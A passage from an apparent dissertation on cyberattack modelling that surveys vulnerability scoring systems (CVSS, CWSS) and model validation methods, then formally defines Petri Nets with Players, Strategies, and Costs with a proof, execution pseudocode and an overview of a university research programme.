organization. The CWSS can be used in conjunction with the Common Weakness
Risk Analysis Framework (CWRAF). The CWSS measures weaknesses on three
metric groups: Base Finding, Attack Surface, and Environmental. The Base
Finding metric group attempts to quantify risk, accuracy, and the strength of
relevant controls. The Attack Surface metric group addresses the barriers that
obstruct the attacker. The Environmental metric group is concerned with issues
related to the target environment. The CWSS and CWRAF are elements of a
complex system that has not been updated since 2014.
Even though the CWSS is a scoring system developed to rank the
weaknesses enumerated in the CWE, the annual CWE Top 25 Most Dangerous
Software Weaknesses are ranked using a scheme that employs another metric, the
Common Vulnerability Scoring System (CVSS), owned and maintained by the
international Forum of Incident Response and Security Teams (FIRST). FIRST
was formed in 1995 and includes members of government, commercial, and
educational organizations from around the world [FIRST, 2020]. The CWE Top
25 is a listing of vulnerabilities claimed to be most dangerous because they are
"often easy to find, exploit, and can allow adversaries to completely take over a
system, steal data, or prevent an application from working" [MITRE Corporation,
2020c].
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The CVSS, which maps directly to the CVE, is a metric that scores the
severity of vulnerabilities on three metrics groups: Base, Temporal, and
Environmental. The CVSS does not measure risk. The CVSS is represented as a
text-based vector and a composite numerical score. The numerical score ranges
are None 0.0, Low 0.1 - 3.9, Medium 4.0 - 6.9, High 7.0 - 8.9, and Critical 9.0 10.0. The components of each metrics group are listed below [FIRST, 2020]:
•

The Base metrics group measures "intrinsic qualities of a vulnerability that
are constant over time and across user environments".
o Attack Vector (AV): Indicates the condition where the
vulnerability can be exploited. Values include Network (N),
Adjacent (A), Local (L), and Physical (P).
o Attack Complexity (AC): An assessment of the level of difficulty
in exploiting a vulnerability. Values include Low (L) and High
(H).
o Privileges Required (PR): Expresses levels of privileges necessary
before exploiting the vulnerability. Values include None (N), Low
(L), and High (H).
o User Interaction (UI): Addresses the need for a user other than the
attacker to contribute to the exploitation of a vulnerability, possibly
without overt knowledge that an attack is occurring. Values
include None (N) and Required (R).
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o Scope (S): Describes whether a security "scope change" can occur
resulting from exploitation of the vulnerability. A scope change
occurs when there is an impact on systems that are not governed by
the same technical controls as the system exhibiting the
vulnerability. Values are Unchanged (U) and Changed (C).
o Confidentiality Impact (C): An impact metric that assesses the
potential consequence to the confidentiality of information
managed by an exploited system. Values include None (N), Low
(L), and High (H).
o Integrity Impact (I): An impact metric that assesses the potential
consequence to the integrity of information managed by an
exploited system. Values include None (N), Low (L), and High
(H).
o Availability Impact (A): An impact metric that assesses the
potential consequence to the availability of an exploited system.
Values include None (N), Low (L), and High (H).
•

The Temporal metrics "reflect the characteristics of a vulnerability that
change over time", including the availability of malicious code, system
patches, or known exploits.
o Exploit Code Maturity (E): This metric assesses the risk of
vulnerability exploitation based on the availability of exploit code,
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and the ease with which the code can be used to execute an attack.
Values include Not defined (X), High (H), Functional (F), Proof of
concept (P), and Unproven (U).
o Remediation Level (RL): A metric that measures the maturity of
code to remedy the vulnerability. Values include Not defined (X),
Unavailable (U), Workaround (W), Temporary fix (T), and
Official fix (O).
o Report Confidence (RC): Measures the trust that the vulnerability
report is credible based on details supplied in the report. Values
include Not defined (X), Confirmed (C), Reasonable (R), and
Unknown (U).
•

Environmental: Environmental metrics can be used to measure
"characteristics of a vulnerability that are unique to a user's environment".
For the metrics Confidentiality requirement, Integrity requirement, and
Availability requirement, the values measure the security requirements for
confidentiality, integrity, and availability, respectively, relative to the
system being assessed, and have the values
o Modified Base metrics: These metrics are the same measures as the
Base Metrics defined above, modified by artifacts of the system
being measured. For example, when a system has a vulnerability
that can be exploited using a network attack vector, the system
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owner may choose not to connect the system to a network, thereby
modifying the attack vector from network to physical.
o CVSS vector keys are
• Modified Attack Vector (MAV)
• Modified Attack Complexity (MAC)
• Modified Privileges Required (MPR)
• Modified User Interaction (MUI)
• Modified Scope (MS)
• Modified Confidentiality (MC)
• Modified Integrity (MI)
• Modified Availability (MA)
o Values for each include the Base Metrics values above as well as
Not defined (X).
For example, consider CVE-2020-7996. This vulnerability is related to the
potential for Cross-Site Scripting in the forgotten password page of Dolibarr, an
open-source enterprise resource planning, and customer relationship management
application suite [Dolibarr, 2020] [MITRE Corporation, 2020b]. The vector
representation of the CVSS for CVE-2020-7996 is
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The first element of the
vector, with key CVSS, denotes that the vector represents a CVSS score version
3.1. Each following element, delimited by "/", corresponds to the definitions

40

given above. For instance, AV:N specifies a Network Attack Vector. The
numerical score is 6.3, which maps to medium severity. The numerical score
calculations, which can be calculated from the CVSS vector representation, are
well-documented on the NVD website [NVD, National Institutes of Standards and
Technology, 2020] and by [FIRST, 2020].
In [Kotenko, 2013], a framework is developed for modeling and impact
assessment of cyberattacks. This framework uses the CWE, CVE, NVD, and
CVSS to create indicators of the potential impact to systems being measured. This
framework claims to deliver real-time analysis of the impact to systems based on
actions of attackers and to determine countermeasures.
In [Wang, 2009], a scheme for scoring the reliability of software products
and systems based on the NVD is described. The scheme utilizes the CVSS as a
core component of the metric calculations.
In [Engebretson, 2008], CAPEC attack pattern definitions are used to
create families of mitigations that ostensibly simplify mitigation strategies.
Relationships between CAPEC attack pattern definitions and potential impacts are
used to summarize mitigations in this scheme.
[Mellado, 2010] is a survey comparing security metrics schemes,
including CWE, CVSS, CVE, and others. Static methods like source code
analysis, analysis of architecture or object diagrams, risk-based methods, and
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analysis of weaknesses and vulnerabilities are considered, using the named
datasets as input data sources.
An ontology for cybersecurity metrics is presented in [Doynikova, 2019].
The ontology represents cybersecurity metrics in four classes: data sources,
security information, infrastructure objects that participate in the security
management process, and security metrics. Data sources used include the CWE,
CAPEC, CVE, and NVD databases, among others. The ontology model was
implemented in Protégé using the OWL Web Ontology Language.
[Scholte, 2012] documents web application vulnerabilities examined over
the period 2004-2009 to answer questions related to the maturity of application
development practices associated with Cross-Site Scripting and SQL injection.
The study used the CVE, CVSS, CWE, CPE, and other data sources both inside
and outside the MITRE framework.
In addition to those described here, there are other methods of measuring
the potential risk, severity, and impact of security incidents. Some metrics utilize
the CAPEC database as a source of information. There are no known metrics that
measure CAPEC attack pattern definitions for validity or any other dimension.
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3.2.3

Experiments as validation
In [Petty, 2010], predictive validation is defined as "a validation method

that compares specific outcomes in simuland behavior to corresponding outcomes
in the model results".
In [Birta, 1996], behavioral validation is defined "as the process of
demonstrating that the behavior exhibited by the simulation model is consistent
with expected and/or measured behavior of the system" and describes it as an
"experimental process".
In experimental validation, simuland behavior can be triggered or caused
as needed specifically for validation. Experimental validation is experimenting on
the simuland to see if the simuland behaves in the manner predicted by the model.
Experimental validation is discussed in more detail in Chapter 8.
In this research, the outcomes predicted in the CAPEC attack pattern
definitions are compared to outcomes produced by experiments where the
CAPEC attack pattern definitions and related PNPSC nets establish the methods
of attacking a simulated computer system. In these experiments, the CAPEC
attack pattern definitions serve as procedural guides as well as predict the
experimental outcomes.
In [Bland, 2017] and in [Christensen, 2017], PNPSC nets were constructed
manually, based on selected CAPEC attack pattern definitions. These PNPSC nets
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were used as guidance for executing cyberattacks in a live simulated computer
system network. Bland et al considered the validity of a PNPSC net constructed
from CAPEC-66 SQL Injection. In this investigation, the experimental systems
were virtual machines with an attacking host running Kali Linux [Kali Linux,
2021], and the target vulnerable host running a vulnerable web application known
as OWASP WebGoat [OWASP, 2021e] over Ubuntu server. Christensen
examined PNPSC nets constructed from CAPEC-63 Cross-Site Scripting and
CAPEC-66 SQL Injection using a target vulnerable web application called
Metasploitable [Rapid7, 2021] and attacking host Kali Linux. Although a limited
number of experiments were conducted, the PNPSC nets were shown to be valid.
In [Thierry-Mieg, 2020], experimental validation is used to validate Petri
net models for deadlock and safety. Simulation experiments were constructed to
assess the validity of deadlock and safety detection in reduced Petri nets. Validity
was assessed statistically from simulation results gleaned from model execution.
Although the term experimental validation is used in several applications
of modeling and simulation, in those cases it is used to describe the process
whereby experimental data is compared to data collected from a simuland. In
most cases, the term experimental validation has been used in applications of
modeling and simulation to the physical sciences. Examples include [Oberkampf,
2006], [Pham, 2017], and [Cheng, 2017].
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3.2.4

Face validation
Face validation is a method that can be applied to validation of many types

of models. Face validation is often used to determine the credibility of conceptual
models during the early phases of a modeling and simulation project. Face
validation assesses validity by comparing the models, execution, or simulation
results with the knowledge and experience of persons with domain knowledge of
the simuland. Balci categorizes face validation as an informal validation method,
whereby participants with knowledge of the simuland inspect the models
subjectively [Balci, 1998]. Validity is established by subjective assessment of
model characteristics to confirm that the model appears "reasonable" [Sargent,
2013].
Face validation has been controversial for decades [Mosier, 1947]. It has
been claimed face validity has no value at all [Royal, 2016]. While this claim is
dubious, there are potential shortcomings of face validation that should be
mitigated before accepting the results. Hermann states that face validation is
beneficial but has "severe limitations" [Hermann, 1967].
Petty notes that while face validation is often considered a validation
method of "last resort", it can be effective when properly structured. As evidence
of this, a case study was presented for a structured face validation of "Joint
Operations Feasibility Tool (JOFT), a model of military deployment and
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sustainment feasibility developed by the U.S. Joint Forces Command Joint
Logistics". The JOFT validation was structured in that the experts were suitably
informed of the purpose of the assessment and the intended method. The system
was explained and demonstrated before the hands-on use of JOFT. The JOFT
model was executed using input scenarios carefully designed to exercise all the
model’s features. Validation data were collected via questionnaires. This
validation session was perceived to be effective due to "the high degree of
structure and preparation used for the validation process and the expertise of the
participating subject matter experts" [Petty, 2010].9
While face validation is flexible, in that it can be applied to any phase of
the modeling and simulation process [Balci, 1998], it can be deficient in two
areas:
1. The domain knowledge of the "experts". Care must be taken to ensure that
the persons selected to make the assessments are, in fact, experts in the
domain. The process of establishing proper credentials can be a weakness,
in that the persons assessing the experts may not be properly qualified to

9

Note that similar validation sessions were conducted in this research, as

documented in [Cantrell, 2018] [Bland, 2018] [Whitaker, 2019].
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assess them. In the cases of both the experts and those assessing the
credentials of the experts, these facts can be hidden even from themselves
[Dunning, 2011].
2. The assessment is subjective. Expert assessment in the domain of
cybersecurity has been shown 40-60% accurate [Neskey, 2015].
To ensure properly credentialed experts, screening criteria should be
established in advance of the assessment. Moreover, the assessment can be
achieved through a blind analysis of demographic data collected from supposed
experts.
When assessing the validity of a model based on subjective measures,
significant disagreement between the experts may indicate variance in
measurements introduced by poor instrument design or variability in assessment
methods between experts [Hallgren, 2012]. To assess the implications of interrater reliability (IRR), statistical analysis of the responses between pairs of experts
should be considered. IRR is a statistical method of assessing the agreement
between experts. High IRR values indicate that the opinions of the experts are
statistically correlated, thereby revealing the existence of outliers.
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CHAPTER IV

AN EXTENDED PETRI NET FORMALISM FOR MODELING
CYBERATTACKS10

This chapter presents a formalism known as Petri Nets with Players and
Strategies, which is the primary modeling method used in this research program.
It continues with the discussion of this research program, additional Petri net
extensions, and an example of a cyberattack/defense application.
4.1 Petri Nets with Players and Strategies
Petri nets have been extended in many ways to facilitate the modeling of
specific classes of systems. Zakrewska and Ferragut extended the basic Petri net
through game theory concepts, including players (attackers and defenders) and
player strategies. The formalism that included these extensions was termed Petri
Nets with Players and Strategies (PNPS) [Zakrewska, 2011].

10

Some material in Chapter 4 is from [Mayfield, 2018], [Bland, 2018], and
[Whitaker, 2019].
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Zakrewska and Ferragut show that the proposed PNPS formalism could
represent "discrete models of concurrent, asynchronous behavior, which allows
them to model the timing of cyberattacks". Furthermore, the PNPS formalism
employs a utility function to assess optimal outcomes for the attacker and
defender.
As the first step, Zakrewska and Ferragut added players to the basic Petri
net in a formalism known as Petri Nets with Players (PNP). The Petri net
transitions were partitioned into subsets: the subsets of transitions controlled by
each player and non-player controlled transitions. Also in the PNP formalism, the
Petri net places are divided into subsets of places that can be observed by each
player and some that are not observable. Zakrewska and Ferragut specify that
these subsets are necessarily not empty and their union is equal to 𝑃.
The PNP formalism11 is represented by the tuple 𝑃𝑁𝑃 =
(𝑃, 𝑇, 𝑊, 𝐵, 𝑀0 , 𝐿, 𝐺, θ, 𝑂) where 𝑃, 𝑇, 𝑊, 𝐵, 𝑀0 , 𝐿 are defined as in the basic Petri
net, and

11

Note that this is a slight modification of the PNP formalism as given in

[Zakrewska, 2011], to remain consistent with the definition of the PNPSC
formalism. This modification is propagated through subsequent definitions.

49

● 𝐺 = {𝑔1 , 𝑔2 , … } is a finite, non-empty set of players
● θ = {𝑇0 , 𝑇1 , … , 𝑇|𝐺| } is a partition of the transition set 𝑇 into |𝐺| + 1
subsets such that θ = 𝑇0 ⋃𝑇1 ⋃𝑇2 … ⋃𝑇|𝐺| and 𝑇𝑖 ∩ 𝑇𝑗 =⊘ for 0 ≤ 𝑖, 𝑗 ≤
|𝐺| and 𝑖 ≠ 𝑗; 𝑇𝑖 ≡ set of transitions controlled by a player 𝑔𝑖 for 1 ≤ 𝑖 ≤
|𝐺| and 𝑇0 ≡ the set of transitions not controlled by any player
● 𝑂 = {𝑂1 , 𝑂2 , … 𝑂|𝐺| } with ∅ ⊊ 𝑂𝑖 ⊆ 𝑃 is the set of observable places for
the player 𝑝𝑖 .
In the PNPS formalism, the non-player controlled transitions are
implemented as stochastic transitions. The concept of stochastic transitions was
introduced by Molloy in [Molloy, 1982]. Stochastic transitions occur based on
exponentially distributed intervals, once enabled by a PNPS marking.
In the PNPS formalism, player strategies are specified as sets of rates of
transition firings for player-controlled transitions given a marking. These further
extensions lead to the definition of Petri Nets with Players and Strategies (PNPS)
which is represented by the tuple 𝑃𝑁𝑃𝑆 = (𝑃, 𝑇, 𝑊, 𝑀0 , 𝐵, 𝐿, 𝐺, θ, 𝑂, 𝐹, Ω, Γ)
where 𝑃, 𝑇, 𝑊, 𝑀0 , 𝐵, 𝐿, 𝐺, θ, 𝑂 are defined as in PNP, and
● 𝐹: 𝑇∅ → ℝ+ ; fixed firing rates for non-player controlled transitions
● Ω: (𝑇 − 𝑇0 ) → (ℝ+ × ℝ+ ); initial and maximum rates for playercontrolled transitions
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● Γ: (Γ1 , Γ2 , … , Γ|𝐺| ); a collection of functions Γ𝑖 : 𝑀𝑂∗ 𝑖 → ℝ+|𝑇𝑖 | where Γ𝑖 is a
mapping from possible markings of player 𝑔𝑖 's observable places to the
desired firing rates for each of player 𝑔𝑖 's controlled transitions
The definition of the PNPS formalism became the groundwork for this research.
The formalism referred to as PNPS, extends standard Petri nets in several
ways. The PNPS formalism includes several features of relevance to cyberattack
modeling.
Firing rates. In a standard Petri net, the transition to fire is selected
arbitrarily from among all enabled transitions. In a PNPS net, each transition has
an associated firing rate. The rate is interpreted as the number of times the
transition will fire, on average, per time unit, or more generally, as the likelihood
of the action or the event that the transition is modeling occurring. Higher rates
result in an increased likelihood of occurring. During each execution cycle, a
firing time is generated for each enabled transition as an exponentially distributed
random variate, using each transition’s rate as the exponential distribution’s rate
parameter λ. The enabled transition with the earliest firing time is selected for
firing.
Players, player goals, and player-observable places. Two (or more)
competing (or cooperating) players are defined. The players have goals, defined
as markings in the PNPS net that they wish to achieve. They attempt to influence
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the sequence of firings, and thus ultimately the markings reached, in the PNPS net
to achieve their goals. Players do not have complete information during the
execution of the PNPS net. Each player may only observe a subset of the places
during execution. Each player must determine what actions to take based on the
player's observable places. These feature models the limited information an
attacker or defender might have regarding the state of the target computer system
and the adversary’s actions during a cyberattack.
Player-controlled transitions and player strategies. Players attempt to
influence the sequence of firings in the PNPS net to reach a marking consistent
with their goal. They do so by changing the firing rates associated with each
transition. However, players may not change the rates of any transition in the
PNPS net. Rather, each player has a defined set of player-controlled transitions.
The transitions controlled by a player represent those actions an attacker or
defender may take during a cyberattack. A player may only change the rates
associated with the transitions that the player controls. During execution, each
player observes the PNPS net’s marking in that player’s player-observable places
and may change the rates of that player’s player-controlled transitions. The
mapping between the possible markings of a player’s observable places and the
changes to the players-controlled transition rates that the player will make in
response to each marking is that player’s strategy.

52

Figure 4.1: Simplified SQL Injection Represented by a PNPS
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Figure 4.1 is an example of a PNPS net from [Zakrewska, 2011]. In the
figure, the places and transitions are labeled with the cyberattack condition or
action respectively that they represent. Each transition also has a firing rate
indicated. The transitions with green borders are non-player controlled, whereas
the transitions with blue borders are attacker controlled.
4.2 Petri nets with Players, Strategies, and Costs
The PNPS formalism adds several features useful for modeling
cyberattacks, including formalizations of the notions of competing players and
their strategies. In this research, the PNPS formalism was further extended to add
a representation of the relative cost of the actions taken by the competitors and to
resolve some ambiguities in its original definition; the extended formalism is
referred to as Petri Nets with Players, Strategies, and Costs (PNPSC). The PNPSC
formalism can model the essential elements of cyberattacks, including computer
systems, their vulnerabilities, the actions taken by competing players to exploit or
eliminate those vulnerabilities, and the relative costs of taking those actions
[Petty, 2019].
The PNPS models the attacker and defender as competing players who may
independently observe the marking of a player-specific subset of the net, and
based on the observed marking, act by changing the stochastic firing rates of a
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player-specific subset of the transitions, to achieve their competing goals. The
Petri nets with Players, Strategies, and Costs (PNPSC) formalism includes the
PNPS formalism and adds a cost feature. A player will incur a cost if a transition
rate is changed by that player. The PNPSC formalism allows more than two
players, however, this research specifically assumes a single attacker and
defender.
Costs of player actions. Each action taken by a player has a cost that
abstractly represents the time, effort, skill level, and expense of the action. Players
incur costs in two ways. First, when a player changes a transition’s rate, there is a
cost proportional to the magnitude of the change. This is the cost of changing the
probability of the event represented by a transition occurring. Second, when a
transition fires, there may be a cost to one or more players. This is the cost of the
action or event that the transition represents.
A PNPSC is formally defined as a 14-tuple 𝑃𝑁𝑃𝑆𝐶 =
(𝑃, 𝑇, 𝑊, 𝑀0 , 𝐵, 𝐿, 𝐺, θ, 𝑂, 𝐹, Ω, Γ, 𝐶, 𝐷):
● 𝑃, 𝑇, 𝑊, 𝑀0 , 𝐵, 𝐿, 𝐺, θ, 𝑂, 𝐹, Ω, Γ as defined for a PNPS net
● 𝐶 = (𝐶𝑓𝑖𝑟𝑒 , 𝐶𝑐ℎ𝑎𝑛𝑔𝑒 ); where 𝐶𝑓𝑖𝑟𝑒 : (𝑇 → ℝ+ ) is the cost for firing a
transition and 𝐶𝑐ℎ𝑎𝑛𝑔𝑒 : (𝑇 × ℝ+ ) → ℝ+ is the cost for changing the rate
of a transition by δ ∈ ℝ+
● 𝐷: 𝑇 → ℘(𝐺); players that incur a cost for a fired or changed transition
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θ is a partition of transition set 𝑇, which implies that no transition may be
controlled by more than one player (and some transitions may be controlled by no
players). On the other hand, 𝑂 is not necessarily a partition of place set 𝑃, thus
places may be observed by 0, 1, or more than 1 player. Γ represents the players'
strategies. Given a marking 𝑀, each player 𝑔𝑖 may observe the marking 𝑀𝑂𝑖 of a
subset 𝑂𝑖 of the net’s places. Based on that observed marking, player 𝑔𝑖 will want
to set the firing rates of the transitions 𝑇𝑖 that 𝑔𝑖 controls to certain values.
Function Γ𝑖 is thus a mapping from all possible markings of player 𝑔𝑖 ’s
observable places, denoted 𝑀𝑂∗ 𝑖 , to the desired rates for player 𝑔𝑖 's controlled
transitions. Γ𝑖 returns those rates as a vector with |𝑇𝑖 | elements. 𝐶 is the cost of the
players’ actions. 𝐶𝑓𝑖𝑟𝑒 is the cost of firing a transition; this represents the expense
or effort required to perform the action the transition represents. 𝐶𝑐ℎ𝑎𝑛𝑔𝑒 is the
cost of changing the rate of a player-controlled transition. If a player changes the
rates of multiple transitions, the rates are summed. Finally, 𝐷 returns the set of
players that incur the cost of firing a transition; that set may have 0, 1, or more
than 1 player.
The execution logic of a PNPSC net, expressed as pseudocode, is shown
in Figure 4.2. The Boolean variable reset controls an aspect of the PNPSC net
execution left unspecified in [Zakrewska, 2011]; reset controls whether or not an
enabled transition’s firing time is retained or reset if it is not the transition
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selected for firing. The pseudocode in Figure 4.2 is written to handle either
interpretation. In Figure 4.2, reset is set to TRUE, causing the firing times to be
reset; setting reset to FALSE in the pseudocode would have the opposite effect.
Variables prevenabled and curenabled are vectors of Boolean variables, with one
element for each transition. Individual elements in the vectors are referenced
using subscripts; references to the vectors without a subscript indicated setting the
entire vector. The symbol # precedes comments in the pseudocode.
reset ← TRUE
t ← 0 # t is the current time, initially 0
prevenabled ← FALSE
enabled ← enabled status of all transitions based on current marking M
while (at least one transition enabled)
for each transition i
if (enabledi and (reset or not prevenabledi)) then
Δfi ← exp(λi) # Interfiring time for enabled transition i
fi ← t + Δfi # Firing time for enabled transition i
end if
end for
j ← enabled transition with earliest (smallest) fi
t ← fj # Advance time to firing time of firing transition
fire transition j, changing marking M
charge the cost of firing transition j to the appropriate player(s)
enabled ← FALSE # Disable just-fired transition
prevenabled ← enabled # Save enabled status of all transitions
enabledj ← enabled status of all transitions based on current marking M
for each player p
change rates λ of player-controlled transitions Tp per strategy Γp
charge the cost of changing the rates of transitions Tp to player p
end for
endwhile
Figure 4.2: Execution Logic of a PNPSC Net
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4.2.1

Transition Firing Time Resetting
An important part of the PNPSC modeling is the determination of the time

when a transition is to be fired and the overall state of the system after the firing.
One approach is based on observable places as defined previously. With the
ability to inspect the observable places, the transition to be fired can be
determined based on the cost associated with keeping tokens within an observable
place or having them pass through to the next part of the net. The recalculation of
all firing times for all enabled transitions is another approach. Due to this
recalculation, this implies that an enabled transition that would have been
scheduled to fire next now could become the last. This subsection provides details
as to how the time when a transition is to be fired is determined within PNPSC.
4.2.2

Transition Firing Rates and Probabilities
At any given time during the execution of a PNPSC net, some subset (not

necessarily proper) of the net’s transitions will be enabled. The firing time of an
enabled transition is a function of its current rate; in particular, a transition’s firing
time is a random variate generated from an exponential distribution, with the
transition’s rate the exponential distribution’s rate.
To simulate the firing of transitions, it is necessary to determine the
probability that a specifically enabled transition will be the next to fire given that
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a set of transitions are enabled at a given time, or equivalently, the probability that
a specifically enabled transition has the earliest firing time.
Understanding the relationship between a transition’s rate and its
probability of firing next may influence a player’s strategy as encoded in the
strategy function in terms of the rate to which a player-controlled transition will
be set. (As an aside, this raises the question of whether the rates of transitions not
controlled by a player should be observable by the player, because a player may
wish to set the rate of a controlled transition so that it is likely to fire before, or
after, a non-controlled transition. This topic, however, will be addressed
separately.)
Based on initial studies by Sheffield and Takahara, this study proposes a
new solution on Theorem 4.1 [Sheffield, 2014], [Takahara, 2017], and [Did,
2017].
Theorem 4.1. Assume that at a specific time 𝑛, transitions 𝑡1 , 𝑡2 , …, 𝑡𝑛
are enabled, and their rates are currently 𝜆1 , 𝜆2 , …, 𝜆𝑛 , with firing times, which
are random variates generated from exponential distributions with those rates, 𝑋1,
𝑋2, …, 𝑋𝑛 . Let 𝜆 = 𝜆1 + 𝜆2 + … + 𝜆𝑛 , i.e., the sum of the enabled transitions’
rates. The probability that a specific transition ti with 1 ≤ 𝑖 ≤ 𝑛, will fire next, or
equivalently, that 𝑋𝑖 = min ( 𝑋1 , 𝑋2 , … , 𝑋𝑛 ) is the ratio 𝜆𝑖 /𝜆, or given a set of
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enabled transitions 𝑡1 , 𝑡2 , …, 𝑡𝑛 with rates 𝜆1 , 𝜆2 , …, 𝜆𝑛 in a PNPSC, then the
probability that 𝑡𝑖 will fire next is 𝜆𝑖 /𝜆.
Proof. Note that 𝑋𝑖 = min ( 𝑋1 , 𝑋2 , … , 𝑋𝑛 ) if and only if 𝑋𝑖 ≤ 𝑋1 and
𝑋𝑖 ≤ 𝑋2 and … and 𝑋𝑖 ≤ 𝑋𝑛 for all 𝑋𝑗 with 𝑗 ≤ 𝑖. From the cumulative
distribution function of the exponential distribution [Petty, 2010], we know that
𝑃(𝑋𝑖 ≤ 𝑋1 ) = 1 − 𝑒 −𝜆1𝑥

𝑃(𝑋𝑖 > 𝑋1 ) = 𝑒 −𝜆1𝑥

𝑃(𝑋𝑖 ≤ 𝑋2 ) = 1 − 𝑒 −𝜆2𝑥

𝑃(𝑋𝑖 > 𝑋2 ) = 𝑒 −𝜆2 𝑥

…
𝑃(𝑋𝑖 ≤ 𝑋𝑛 ) = 1 − 𝑒 −𝜆𝑛𝑥

…
𝑃(𝑋𝑖 > 𝑋𝑛 ) = 𝑒 −𝜆𝑛𝑥

For a given 𝑥,
𝑃(min(𝑋1, 𝑋2 , … , 𝑋𝑛 ) > 𝑥) = 𝑃(𝑋1 > 𝑥) ∙ 𝑃(𝑋2 > 𝑥) … 𝑃(𝑋𝑛 > 𝑥)
= 𝑒 −𝜆1𝑥 ∙ 𝑒 −𝜆2𝑥 ∙ … ∙ 𝑒 −𝜆𝑛𝑥
= 𝑒 −(𝜆1 +𝜆2 +⋯+𝜆𝑛)𝑥
= 𝑒 −𝜆𝑥
Given these probabilities, and recalling that from the probability density
function of the exponential distribution the relative probability of a specific value
x in an exponential distribution with rate 𝜆 is 𝑓(𝑥) = 𝜆𝑒 −𝜆𝑥 [Banks, 2012], then
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the probability that a specific transition’s firing time 𝑋𝑖 = min (𝑋1 , 𝑋2 , … , 𝑋𝑛 ) can
be calculated as
𝑃(𝑋𝑖 = min(𝑋1 , 𝑋2 , … , 𝑋𝑛 )) = 𝑃(𝑋𝑖 ≤ 𝑋𝑗 𝑓𝑜𝑟 1 ≤ 𝑗 ≤ 𝑛 and 𝑗 ≠ 𝑖)
∞

= ∫ 𝜆𝑖 𝑒 −𝜆𝑖 𝑥 𝑃( 𝑋𝑖 ≤ 𝑋𝑗 𝑓𝑜𝑟 1 ≤ 𝑗 ≤ 𝑛 and 𝑗 ≠ 𝑖|𝑋𝑖 = 𝑥)𝑑𝑥
0

∞

= ∫ 𝜆𝑖 𝑒 −𝜆𝑖 𝑥 𝑃( 𝑥 ≤ 𝑋𝑗 𝑓𝑜𝑟 1 ≤ 𝑗 ≤ 𝑛 and 𝑗 ≠ 𝑖)𝑑𝑥
0

∞

= ∫ 𝜆𝑖 𝑒 −𝜆𝑖 𝑥 ∏ 𝑃(𝑋𝑗 > 𝑥) 𝑑𝑥
0

𝑗≠𝑖

∞

= ∫ 𝜆𝑖 𝑒 −𝜆𝑖 𝑥 𝑒 −(𝜆−𝜆𝑖 )𝑥 𝑑𝑥
0

∞

= 𝜆𝑖 ∫ 𝑒 −𝜆𝑥 𝑑𝑥
0

∞

𝑒 −𝜆𝑥
= 𝜆𝑖 [
]
𝜆 𝑥=0

= 𝜆𝑖

0
−1
− 𝜆𝑖
𝜆
𝜆

=

𝜆𝑖
𝜆

which was to be shown.
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4.2.3

PNPSC Net Example
Figure 4.3 shows an example of a PNPSC net. The attacker can use two

attack methods to reach the goal. An attacker can succeed using either method,
Attack 1 or Attack 2. If the attacker uses both attack methods, the likelihood of
reaching their goal is increased. However, there is a disadvantage of deploying
both attack methods. Deploying both attack methods can increase the likelihood
of detection by the defender.

Figure 4.3: PNPSC Example
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Table 4.1: Attacker Transition Firing Rates
Action

Rate

Attacker performs attack 1

3

Attacker performs attack 2

2

Attacker reaches goal via attack 1

1

Attacker reaches goal via attack 2

2

Attacker uses attacks 1 and 2 to reach a goal

Immediate transition

Table 4.2: Defender Transition Firing Rates
Action

Rate

Defender detects and blocks attack 1

3

Defender detects and blocks attack 2

2

Defender blocks attack 1 via knowledge

1

Defender blocks attack 1 via knowledge

2

Table 4.1 shows the transition firing rates of the attacker. Table 4.2 shows
the transition firing rates of the defender. In the real world, the defender will use
an intrusion detection system or other methods to detect and block a cyberattack.
The defender can also use the concept of situational awareness to help block the
defender. The defender can choose to monitor and gain knowledge of an attack,
which is the essence of situational awareness. For instance, if the defender
chooses to monitor Attack 1, the defender will gain knowledge or awareness of an
attack. This awareness can cause the defender to actively block Attack 2.
In addition to the cost of a single player, a full cost analysis of the system
will require the calculation of the total cost incurred by the organization defending
its system and an estimate of the attacker costs [Lee, 1985].
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4.3 Research Program Projects and Structure
The University of Alabama in Huntsville is conducting five interrelated
research projects that together form an integrated research program in cyberattack
modeling. All five projects are using the PNPSC formalism to model
cyberattacks.
Section 4.3 describes the research program, including the five individual
projects.
4.3.1

Generating Cyberattack Component Models
In the first project, CAPEC attack pattern definitions are converted

automatically into executable Petri nets, conforming to the PNPSC formalism.
The XML version of a CAPEC attack pattern definitions is input to a Python

Figure 4.4: Generating Cyberattack Component Models
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script that produces either a PNPSC net that can be executed on several Petri net
simulation platforms, including PIPE (Platform Independent Petri net Editor, is a
software tool for editing and executing Petri nets), or a visual diagram of a
PNPSC net as a Graphviz image (Graphviz is a software tool for drawing graphs).
This project is illustrated in Figure 4.4. Additional information can be found in
[Whitaker, 2018] and [Whitaker, 2019].
4.3.2

Adding Defenders and Users to Cyberattack Component Models
The CAPEC cyberattack pattern database used in the first project as input

to the automatic generation of cyberattack models describes the attacks in an
attacker-centric manner. In this project, the cyberattack component models will
be expanded to include defender actions, responses, and methods. Typically, a
defender has multiple methods that could be individually or jointly deployed
through a Defense in Depth approach to detect or block an attacker’s actions. In
addition, representations of normal user activities and non-attacker network traffic
on the target computer system will also be added.
The enhanced PNPSC models will be used to aid system designers in performing
decision analysis when evaluating different defense methods. To compare
different defense methods, performance metrics must be identified and collected
while using the enhanced PNPSC models to simulate cyberattacks.
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Figure 4.5: Adding Defenders and Users to Cyberattack Component Models
Repeatable statistical and analytical methods will use the performance metrics as
inputs to allow for comparison of different defense methods. Design of
experiments methods will be used to identify which defense methods are critical
factors in defending against attacks, allowing for a reduction in the total number
of simulation runs while maintaining a high level of statistical confidence. This
project is illustrated in Figure 4.5.
4.3.3

Selecting and Composing Cyberattack Models
The PNPSC nets generated in the first project and enhanced in the second

project are considered component models, rather than complete models because
each model is only a single type of cyberattack. Most computer systems to be
modeled could be vulnerable to more than one type of attack, and so multiple
component models must be combined to fully represent the system. Thus, the
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cyberattack component models generated in the first project must be integrated or
composed, to produce complete models of target computer systems. The third
project is concerned with enabling those compositions.
Doing so requires that the component models be defined so as to be
composable, i.e., to include places and transitions that serve as “connectors” and
allow the PNPSC nets to be connected. The connectors must be designed to
preserve the modeling semantics of the component models and pass needed stated
information through the connections. Moreover, before the component models
can be composed they must be selected, i.e., the correct models needed to model
the attack on a target computer system must be selected from a repository of all

Figure 4.6: Selecting and Composing Cyberattack Component Models
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component models. The component selection is, in general, NP-complete [Petty,
2003]. However, engineering solutions, especially metadata describing each
component, have been proposed to provide a practical component selection
capability [Taylor, 2015]. This project is illustrated in Figure 4.6. Additional
